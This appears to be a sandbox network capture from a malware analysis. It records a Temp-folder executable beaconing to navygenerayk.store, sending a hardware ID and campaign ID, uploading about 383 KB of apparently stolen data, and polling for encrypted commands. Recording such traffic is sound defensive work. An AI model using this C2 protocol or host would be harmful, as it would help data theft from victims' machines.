2024-11-08 14:22:20 UTC	1270	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 46 36 31 42 31 41 35 32 34 43 30 33 35 34 31 34 45 39 35 33 43 39 38 38 45 35 43 31 46 30 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"2F61B1A524C035414E953C988E5C1F0B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-08 14:22:20 UTC	1020	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:22:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9fval2spvo4983ldd5phaj1mvs; expires=Tue, 04-Mar-2025 08:08:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e0PJxiQmVAeZbSf5jjFhNID61Ak1yFrUw%2FSw1ytb67YSHGc%2F%2FJVgdSHduFrcCz%2FTHQQI144q4x4rWPQ%2Fz%2F2QvN8UVuuRGyXBuuabNm6fbzBrFNCGky0CitSQ6VzOvVAZiJPwpQA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8df636f1b8b6e7a2-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1282&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2189&delivery_rate=2198936&cwnd=251&unsent_bytes=0&cid=ae7aa385d77664f0&ts=332&x=0"
2024-11-08 14:22:20 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-11-08 14:22:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.8	49882	188.114.96.3	443	2764	C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:22:23 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 383224 Host: navygenerayk.store
2024-11-08 14:22:23 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 46 36 31 42 31 41 35 32 34 43 30 33 35 34 31 34 45 39 35 33 43 39 38 38 45 35 43 31 46 30 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"2F61B1A524C035414E953C988E5C1F0B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-08 14:22:23 UTC	15331	OUT	Data Raw: db 8b 3b 9a 56 0c 68 31 c3 36 9d 55 c5 af 8b 13 c1 3e 2c b7 82 55 6d 8c 75 0f 3d b1 d1 b7 44 b9 b2 ef 27 40 09 af de 1a f2 ab 51 04 53 fc bf f8 05 8c 08 c1 ca 78 bf 82 03 3c fc e8 cd 1f f5 3e 0c e6 09 50 a1 dc 87 90 a6 f7 91 03 09 9e 1a 12 4f ab 10 58 16 1f 73 13 85 38 0c 4d e0 f4 7b c2 8d de 6d ed 39 c2 d2 a8 b1 a7 21 d1 51 46 a8 04 00 51 85 8d 3d 30 7e 14 93 e6 c7 9a fd e6 b6 56 a5 7e 25 d8 40 3c e0 4c 00 df 08 db 55 48 13 a6 7d 70 c5 03 ef 9f ed a0 56 3f 7d d6 1f ed c0 7f 6c e8 e1 22 06 0c 7e 9c 4d c7 58 24 be a1 fb aa 41 8f a1 de ce 01 37 8a f2 7d 01 02 18 15 b1 29 59 31 ac ac c0 98 3f 8f 83 e5 fa a4 1b 0d 72 e2 ec b1 ff a1 3f 28 60 59 a1 de 3f 33 82 b6 83 e9 6c 31 37 0c da 60 db e5 e0 7e 43 f0 ec 66 62 e1 09 3c 07 d0 3a d8 2d df e4 10 64 05 42 58 60 Data Ascii: ;Vh16U>,Umu=D'@QSx<>POXs8M{m9!QFQ=0~V~%@<LUH}pV?}l"~MX$A7})Y1?r?(`Y?3l17`~Cfb<:-dBX`
2024-11-08 14:22:23 UTC	15331	OUT	Data Raw: ae 55 c2 37 a6 ef 76 2b 77 e8 1d fa 09 c6 e9 00 81 f9 e5 75 3e 62 59 74 91 60 65 d4 38 80 4a e8 ab f5 70 95 27 44 e6 b4 c9 80 2b 8f 25 a2 e7 98 68 3e 61 4f 46 8b 20 0e 9f 8a 5b 40 25 08 cf 3b 92 b4 50 c5 02 7c e9 5d 0f 2c b3 9f ca 80 94 35 13 05 0c ae 2f 60 9f 13 61 43 dd 52 87 fd 5f 24 da 10 9c ac 28 c2 36 71 00 c7 70 9b 9f 1b c9 e2 c0 d5 9f 87 d4 31 00 ee e0 c0 63 a2 07 c7 e2 ef c6 a9 1e c4 55 93 c2 64 de 97 f9 18 aa 0d 0a 72 7b f3 58 d8 f2 38 56 bb d6 74 4c ed 6a d5 f3 d7 58 64 79 eb 05 aa 6a ae 97 5c 48 61 cd 2f bb 2e 44 f7 71 40 17 78 dc cc 69 91 a7 fa a0 5a 11 0d 8e f3 63 81 4e a6 da a8 b3 14 29 8b fa 27 84 6d a3 0f 92 fd 24 82 8e 9b a5 f9 09 2e a8 90 0d be f7 d3 9a 6a 26 b1 4a 70 60 c3 03 5d 4d b8 d4 64 6a 0b 07 78 4c 2a 57 ef 9b 8d 9a 37 bd 98 4c Data Ascii: U7v+wu>bYt`e8Jp'D+%h>aOF [@%;P\|],5/`aCR_$(6qp1cUdr{X8VtLjXdyj\Ha/.Dq@xiZcN)'m$.j&Jp`]MdjxL*W7L
2024-11-08 14:22:23 UTC	15331	OUT	Data Raw: 08 af 7b 9e 9e ac 2e d7 2e fb ee fa 37 37 96 b8 3d 08 54 74 c6 65 85 2a 1e 7e 65 15 dd 58 90 17 24 1c f4 da d8 f7 a3 71 86 5e 0f 98 64 20 f8 29 c2 5c 80 19 91 bc 38 20 fe 3f dd 5d 78 8f 3c d6 60 38 54 11 c0 cc 43 6d ec 66 ad 86 8b a7 d8 27 f1 b3 1a 9b c6 60 95 e7 d6 e8 36 31 04 27 0b 92 d0 38 ba 78 d2 90 53 fb dd b3 b9 60 9d 82 c5 fe 9c 24 53 55 80 0f 63 b6 29 ea 80 5c 95 01 e6 a5 cc 53 ac ee 99 52 f9 99 f3 ad a5 75 a7 9b ae 06 e6 2a e7 d3 7b 7e f0 d3 de 74 e6 80 af 9b 24 84 cf ed f8 5d ea e9 61 38 7f bb fe e6 dc 35 29 fc fa 48 e9 21 46 d2 d6 9c e9 c2 56 0b 94 02 ca b8 be f9 7b 42 95 ba 50 df 3e 64 7c a5 bc db 9a 4e 7a 41 f1 1a 39 41 b6 1f da 6c ae 5a 42 99 48 4f 47 ba 71 ac dc 8d fd 3c 8c 07 94 2e 02 9c 90 c5 28 cd 6c 35 cd 98 96 ec 81 32 ce 4c f1 c0 27 Data Ascii: {..77=Tte~eX$q^d )\8 ?]x<`8TCmf'`61'8xS`$SUc)\SRu{~t$]a85)H!FV{BP>d\|NzA9AlZBHOGq<.(l52L'
2024-11-08 14:22:23 UTC	15331	OUT	Data Raw: c2 fa ca af ec 81 db 9c 0a 4b 01 e7 93 94 ca b0 3f 4b 11 11 1c df 77 17 38 99 0f 31 5a cc 87 6e a6 e4 81 18 8d 43 b6 7d 70 46 f5 66 ab 2b f8 15 2e 7d 76 5d a9 58 e8 8c 62 3b 26 42 eb 8c 96 f4 b8 6c dd e8 3f 78 7d cc 3b 1a 11 15 eb f9 db ce f2 70 73 ec 45 e9 63 ea 82 e6 cf 96 60 82 17 a0 96 97 97 01 98 43 e0 c2 82 ed 7e ff ba bc ec 4b 0a ff cf 1e 7b 87 ff 69 3a f9 5f 5b 91 f9 08 d5 21 09 64 14 48 f7 76 79 3b 3b 85 80 89 e8 fb 3b e5 35 5a 28 03 c3 47 36 c0 37 e4 d2 e0 41 31 91 ba c6 f5 af fd cf 3c 4b 4c ba 8a 3c 48 ab 9c 31 5f f9 1d eb 5d 8b ee 8b 6f 88 5e fe 9a da 32 81 67 93 eb be 18 bd 12 5f a6 85 4e eb 30 18 30 65 29 c7 c8 f2 51 d9 49 5f 60 8e 6d de 62 37 2d 6c e7 46 d3 ac f0 eb 05 fe 7b 70 c0 15 75 95 cd 94 1e 04 dd 0d b7 55 06 c2 2b 5d 50 a4 b8 09 0b Data Ascii: K?Kw81ZnC}pFf+.}v]Xb;&Bl?x};psEc`C~K{i:_[!dHvy;;;5Z(G67A1<KL<H1_]o^2g_N00e)QI_`mb7-lF{puU+]P
2024-11-08 14:22:23 UTC	15331	OUT	Data Raw: b8 c8 d3 d9 aa 15 1d 16 97 36 ea ff 7c bb 4b 23 b1 d5 37 6c 3c e3 72 e2 b6 37 75 73 1a 3b 2f b9 72 7c 18 31 89 0b c9 f5 93 ed 05 e3 a1 a7 13 6d 4f e9 ea 9e ba 6c 3b 8a dd d7 42 d6 41 07 2d e9 1d 48 4a ee 43 a8 6a 85 ad e8 b5 b1 9a ba 1f 43 97 69 c0 03 9a 27 7b d4 89 da 91 e7 bf bd 3c 4f af b8 56 4b 39 ee b9 f8 bb 33 7e 54 53 0b 6c bd 4d 8e 78 6c 49 98 23 7a 87 e1 d5 bb 5c 23 bb 9c e2 74 74 da bf a9 d9 2d 61 ec 3d a2 39 c4 1d 83 95 d6 ad bc 81 3b 2f fd ca 6b fc 2f 59 2b f8 fa 97 ad b8 28 74 95 6c 18 c5 26 ca 88 23 1a ee 46 50 3c bf 34 9c d3 e8 50 23 52 19 de ce d4 10 f9 47 19 cc 06 5e 46 89 a0 22 91 9f d5 d8 7b 60 c8 41 12 90 43 2f d1 c3 0b 45 e5 eb 34 ea af 2d 70 e1 cb 80 eb ec 13 e3 b5 7f 0a 69 c2 98 90 d3 f6 4f 12 66 29 17 76 c8 bc 5b 8b 42 10 bd ed 0b Data Ascii: 6\|K#7l<r7us;/r\|1mOl;BA-HJCjCi'{<OVK93~TSlMxlI#z\#tt-a=9;/k/Y+(tl&#FP<4P#RG^F"{`AC/E4-piOf)v[B
2024-11-08 14:22:23 UTC	15331	OUT	Data Raw: 77 39 d9 b2 04 e6 03 0c 0c 82 16 59 9c 1b 8b d0 6e e7 be 5a 63 9a e4 aa f3 c5 ae 3a e2 3c 1e 01 43 ad 69 1a e7 d2 3d e8 3c 58 b0 d6 4d 74 68 0f 3e bf 40 b0 ea 5e bd 4e f8 82 8e af b4 f7 a0 86 15 5a fc 51 aa 7f 1a 26 43 23 69 07 45 9d 26 c4 58 30 f2 af 39 f1 ec 79 94 0c a0 98 6b 84 53 be 4a 3a 7a bd 25 49 fa 04 8f 98 64 14 fb 26 82 fa 61 2d 9a bd c6 e0 14 d3 04 13 25 89 10 fd d2 63 f5 51 b4 d3 88 48 94 46 92 eb 31 e9 90 b6 3a dd ec 15 d9 c5 bf 16 1c b3 e5 3f 16 ba 14 39 54 1f 8e 2e 24 31 12 d0 8c c6 73 35 19 5b 8d bb f6 ae 96 84 5e 28 3f e8 29 dc e0 65 97 b7 8c 76 b2 1c 58 f0 6e 7d 06 ac 12 32 c7 cb bd 12 99 d7 b5 60 e4 dc 50 22 9b a7 ea fd 0c d0 f9 9e e0 ee a2 8f 5a be 49 9c 34 a7 06 f0 41 72 3d 6d 47 61 da 67 a5 e9 2f e9 93 e8 1d ed 12 a3 c3 12 60 62 f7 Data Ascii: w9YnZc:<Ci=<XMth>@^NZQ&C#iE&X09ykSJ:z%Id&a-%cQHF1:?9T.$1s5[^(?)evXn}2`P"ZI4Ar=mGag/`b
2024-11-08 14:22:23 UTC	15331	OUT	Data Raw: c2 cd 88 73 ca 3b d4 10 d1 04 64 77 4b d7 af 40 74 bc 3e 03 27 2f d6 e0 05 04 65 f8 9e 76 94 28 42 6e bf f8 16 89 5b da 4d 0a 9a 6a d6 13 6a 9a 5d e5 5b 91 53 54 f4 8b 75 61 77 de 82 7a 0e c9 79 5b 26 0a ce a3 af 3d 63 25 77 b5 d5 af 33 0a 6d 55 df d2 81 dd 7a 5f 23 7c 7d 8b 08 bc fd 50 6d f5 a6 f3 d9 e7 5b 62 3c a9 57 0d 4c 1d 61 a0 d7 00 ac cb 5f 04 dc f5 a7 c6 67 58 89 0f 97 e8 c4 df 4c 55 fd c0 ed b0 8b 35 93 0b 32 9a 03 d6 93 ea 8d 42 f7 dc 1b 25 54 df 1d 76 f4 fd 52 c5 7c 1e 26 b6 93 3b 9b 6f 66 b4 7b 4f ea e9 64 ca 5d 47 15 67 3f 32 24 39 1f 18 68 6d 18 39 fe dc 19 63 7d 63 55 9a 26 3c 1a a5 1e bf 80 52 80 33 69 45 48 6c 16 bf 1c e5 7b 65 14 35 3a 2d 09 eb 3b a5 a9 87 c2 1f 6b c0 ea ec a3 a3 e3 b8 e3 e7 19 f8 41 3a 9a c9 60 3e d1 24 5e 5b b3 96 e2 Data Ascii: s;dwK@t>'/ev(Bn[Mjj][STuawzy[&=c%w3mUz_#\|}Pm[b<WLa_gXLU52B%TvR\|&;of{Od]Gg?2$9hm9c}cU&<R3iEHl{e5:-;kA:`>$^[
2024-11-08 14:22:23 UTC	15331	OUT	Data Raw: c7 55 ee a7 f2 34 2f d7 56 55 32 0f 14 ed d5 c4 3e 74 dd 4d 2d cf 72 55 c4 1c 5a de 2b ed d3 e5 c1 be 0d 51 24 eb 14 0f ee cf 48 34 24 a5 1e 2d 8b 09 0e e0 d8 be 82 12 0c 06 a7 51 11 f9 e6 5f 11 a3 dd 75 4e cd ff 8e 58 f5 d8 a4 ff bd 34 1b c9 5b 66 6c ec 2a 23 69 8e 11 9d 02 19 b8 d5 14 9e cd 2e 8b e0 37 b2 ee 9f 57 33 ed 15 5e 6e e9 35 49 ab 64 c4 fd 80 7d 31 e5 f6 43 c5 57 01 ef 43 ae a3 16 d9 87 1f 79 af 09 05 1c 4b 0c 35 25 cd 12 c2 18 7f 40 60 aa 60 1b 19 50 13 2b 1b 19 a9 e9 0b 76 26 20 9b 08 48 12 62 d4 1b aa 10 e1 c1 d9 9d d1 7b f6 3e 12 23 38 62 8a 05 42 70 03 2e d1 c2 c9 2c 73 10 4e 00 4d 7d 8a 86 65 92 e1 f9 be 85 9c 0b 31 bd 78 47 13 a5 e8 47 9d d8 92 00 19 7f 95 49 f5 f2 85 ad 7e e9 c4 fb 58 41 d9 9f e7 82 4c 9c 35 18 05 b8 15 af 3d ea 55 d5 Data Ascii: U4/VU2>tM-rUZ+Q$H4$-Q_uNX4[fl*#i.7W3^n5Id}1CWCyK5%@``P+v& Hb{>#8bBp.,sNM}e1xGGI~XAL5=U
2024-11-08 14:22:23 UTC	15331	OUT	Data Raw: 29 ac cc b6 59 fc 6c b5 ee c5 d2 94 86 eb 8c bc 13 83 8f 69 0b bf a9 1f 3f 36 c6 57 33 3d 79 ee 16 32 d2 f2 77 7b cf dd 5c 11 31 ca 45 a2 f8 7f 94 ab 71 22 54 9d 29 a6 bb bd 31 95 cb df bd 21 2d 20 62 3c 4b d8 b3 e5 16 47 64 40 c2 27 a1 1e db 39 f8 e6 70 0b 84 a8 34 5d 0f cd 05 11 2a f2 78 48 7a f6 f9 04 db 03 cf b7 85 08 95 3c a9 26 66 57 b6 6c 87 d3 81 f3 02 4b 93 f4 2e 6c ae 0b 7f 3b c3 55 3c f0 3a de e6 1a 5e f7 40 dd af 53 98 eb 08 0d 74 b0 9b d8 93 f4 68 40 4a 25 08 1e fa 47 36 d8 20 90 a0 78 96 b6 df 58 67 f4 2c a4 0b 7b ce bf c3 d6 b2 18 5b 34 ad dd 76 74 c6 f9 48 8a 2e 9a 89 bc 6c fd 2d 03 ad d5 9e 3e 81 b0 02 70 c4 02 cc d5 be 33 c9 8d 74 d3 c2 7b 03 91 2d df 4f ae 13 3a 6f b1 09 8f ad fa 34 77 d1 71 e0 1b 18 ea 73 43 69 23 dc 41 84 74 56 1e 2e Data Ascii: )Yli?6W3=y2w{\1Eq"T)1!- b<KGd@'9p4]*xHz<&fWlK.l;U<:^@Sth@J%G6 xXg,{[4vtH.l->p3t{-O:o4wqsCi#AtV.
2024-11-08 14:22:25 UTC	1025	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:22:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d66ltlptbcgtb2415c9pq29m3j; expires=Tue, 04-Mar-2025 08:09:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DrpoRc10htrCrcC89%2Bpm8uY4l1KC3qECwCshxogPwsKNWVinSXOqJreBRtOlv2YkvYARFd1KqM4FaDsWjh9xs%2BP5Zz8jVZLlftCD7N%2FeM0BKzgitDZd%2BbeNWHV8Jnb%2BHGq0oCM4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8df63702cd2345e3-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1200&sent=148&recv=413&lost=0&retrans=0&sent_bytes=2846&recv_bytes=385223&delivery_rate=2369885&cwnd=251&unsent_bytes=0&cid=a4eb338b4efeeea8&ts=1955&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.8	49887	188.114.96.3	443	5528	C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:22:27 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: navygenerayk.store
2024-11-08 14:22:27 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-08 14:22:28 UTC	1017	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:22:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6tmf835kq2o7ai7q4gkk722jcs; expires=Tue, 04-Mar-2025 08:09:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BGYT8UY06PTeydGgghVzX4hNWuCbrmoxMId5UH1Cxc75OrQ6VoIPUovE%2FCVb%2BMSQLBBSmMiK0ltENayCgUHhblsLDFBtWL2%2BlN0PkuJzkwSLS6HlhBF2ZPihgGBfN%2FohcxdTPr4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8df6371ebb886bba-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1173&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=2356387&cwnd=251&unsent_bytes=0&cid=aad37d5170c856a3&ts=567&x=0"
2024-11-08 14:22:28 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-08 14:22:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.8	49888	188.114.96.3	443	5528	C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:22:28 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: navygenerayk.store
2024-11-08 14:22:28 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-11-08 14:22:29 UTC	1021	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:22:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hos6tb3n8vvjcrnt2af4o7f3r4; expires=Tue, 04-Mar-2025 08:09:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PnD5m5g9VRxolzGccosHWzke%2F%2BGrJeMuzbrB24DqWhoNZW24ZehiFE1qAlOar%2BU5Qi44M6CNyV1XgkbIEUaV3FFaPPp%2BAajLLtIXORRGQo4u%2BGzkUxVJcS9%2F%2BAu9sofaJmGHckU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8df637261b4ae7d7-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1586&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=1784349&cwnd=250&unsent_bytes=0&cid=206db8ae904d6dda&ts=564&x=0"
2024-11-08 14:22:29 UTC	348	IN	Data Raw: 34 64 38 0d 0a 2f 73 55 37 50 53 38 37 39 44 30 42 52 6b 70 51 6b 72 4a 6a 30 61 76 67 78 73 4b 37 41 33 6c 78 38 43 6a 52 37 74 36 31 62 72 47 46 35 30 30 66 46 51 2f 59 48 33 49 6a 61 47 72 6d 77 42 61 30 68 38 4b 6e 70 70 6b 35 48 78 43 63 57 37 54 43 2f 4d 4d 44 6b 38 53 6a 57 6c 46 63 58 74 67 66 5a 44 35 6f 61 73 6e 4a 51 62 54 46 77 76 7a 67 33 6d 6b 62 45 4a 78 4b 73 49 57 78 78 51 4c 53 6c 71 6c 63 56 55 70 59 6b 46 78 74 4b 79 38 31 39 39 4d 4a 76 38 4b 4e 72 71 2b 5a 4c 31 73 55 69 67 72 72 7a 4a 50 51 47 74 43 7a 70 45 68 57 44 55 62 59 52 69 4d 6a 4a 48 4b 6f 6b 41 4b 30 79 59 79 67 70 74 42 72 45 52 6d 55 53 37 57 45 72 74 77 49 32 5a 61 6e 58 31 52 41 55 59 52 52 5a 79 77 6b 4d 2f 33 54 51 66 32 4a 68 62 7a 67 67 53 46 49 49 5a 46 62 6f 70 Data Ascii: 4d8/sU7PS879D0BRkpQkrJj0avgxsK7A3lx8CjR7t61brGF500fFQ/YH3IjaGrmwBa0h8Knppk5HxCcW7TC/MMDk8SjWlFcXtgfZD5oasnJQbTFwvzg3mkbEJxKsIWxxQLSlqlcVUpYkFxtKy8199MJv8KNrq+ZL1sUigrrzJPQGtCzpEhWDUbYRiMjJHKokAK0yYygptBrERmUS7WErtwI2ZanX1RAUYRRZywkM/3TQf2JhbzggSFIIZFbop
2024-11-08 14:22:29 UTC	899	IN	Data Raw: 6e 58 31 46 4d 56 4a 5a 4e 61 79 38 6a 4e 2b 4c 62 43 4c 37 45 67 71 6d 71 31 6d 49 62 46 4a 68 41 76 49 61 34 32 67 48 56 6e 4b 63 5a 45 51 31 65 6a 68 38 37 5a 41 73 33 34 4e 63 4e 70 59 75 34 35 4c 2b 58 65 46 73 55 6e 67 72 72 7a 4c 54 53 44 39 43 58 71 46 70 58 52 6b 75 57 54 57 55 70 4c 53 44 32 31 51 2b 35 79 70 43 75 72 74 39 69 45 68 69 62 54 37 53 49 2f 4a 6c 4d 31 49 54 6e 41 52 39 73 56 4a 31 54 61 54 4d 6f 63 75 2b 65 47 50 50 4f 6a 75 54 34 6d 57 55 61 46 35 4e 4f 76 59 4b 34 32 77 72 64 6b 61 68 66 56 55 31 65 6e 46 64 72 4a 53 55 35 2f 39 41 45 76 73 32 45 71 4b 48 63 49 56 56 54 6c 56 4c 7a 31 50 7a 35 43 39 43 4f 35 57 78 63 51 31 65 52 53 53 4d 37 5a 69 75 77 31 77 33 7a 6b 63 4b 71 70 64 5a 7a 47 67 47 58 52 4b 47 41 75 64 45 42 30 4a Data Ascii: nX1FMVJZNay8jN+LbCL7Egqmq1mIbFJhAvIa42gHVnKcZEQ1ejh87ZAs34NcNpYu45L+XeFsUngrrzLTSD9CXqFpXRkuWTWUpLSD21Q+5ypCurt9iEhibT7SI/JlM1ITnAR9sVJ1TaTMocu+eGPPOjuT4mWUaF5NOvYK42wrdkahfVU1enFdrJSU5/9AEvs2EqKHcIVVTlVLz1Pz5C9CO5WxcQ1eRSSM7Ziuw1w3zkcKqpdZzGgGXRKGAudEB0J
2024-11-08 14:22:29 UTC	1369	IN	Data Raw: 33 66 39 34 0d 0a 57 6c 74 4a 56 4a 6c 57 61 69 30 36 4f 50 7a 65 45 37 37 44 68 36 71 73 33 47 34 62 45 70 4e 45 75 59 66 38 6d 55 7a 55 68 4f 63 42 48 32 4a 55 68 6b 31 70 4c 7a 6c 77 78 64 4d 50 76 63 36 55 35 4c 2b 58 65 46 73 55 6e 67 72 72 7a 4c 66 52 41 4e 2b 63 6f 55 74 52 51 6b 75 63 54 57 63 71 4c 44 37 2b 32 51 79 38 7a 4a 43 67 6f 4d 74 67 48 68 53 63 52 36 47 4a 2f 4a 6c 4d 31 49 54 6e 41 52 39 33 62 5a 46 50 63 69 4e 71 42 2f 50 65 44 37 54 66 77 72 76 75 77 43 45 63 48 39 49 53 38 34 2b 77 32 67 58 57 6b 37 56 54 55 30 78 4c 6b 56 5a 71 4c 69 6b 38 2f 39 73 4e 74 74 75 4a 71 36 6a 57 59 42 59 65 6d 55 36 7a 7a 50 4b 58 43 38 76 63 2f 78 6c 2b 51 46 61 45 58 48 4a 6d 48 54 48 2b 33 67 61 6c 69 5a 33 71 75 5a 6c 6d 46 31 50 4b 43 72 4b 41 73 Data Ascii: 3f94WltJVJlWai06OPzeE77Dh6qs3G4bEpNEuYf8mUzUhOcBH2JUhk1pLzlwxdMPvc6U5L+XeFsUngrrzLfRAN+coUtRQkucTWcqLD7+2Qy8zJCgoMtgHhScR6GJ/JlM1ITnAR93bZFPciNqB/PeD7TfwrvuwCEcH9IS84+w2gXWk7VTU0xLkVZqLik8/9sNttuJq6jWYBYemU6zzPKXC8vc/xl+QFaEXHJmHTH+3galiZ3quZlmF1PKCrKAs
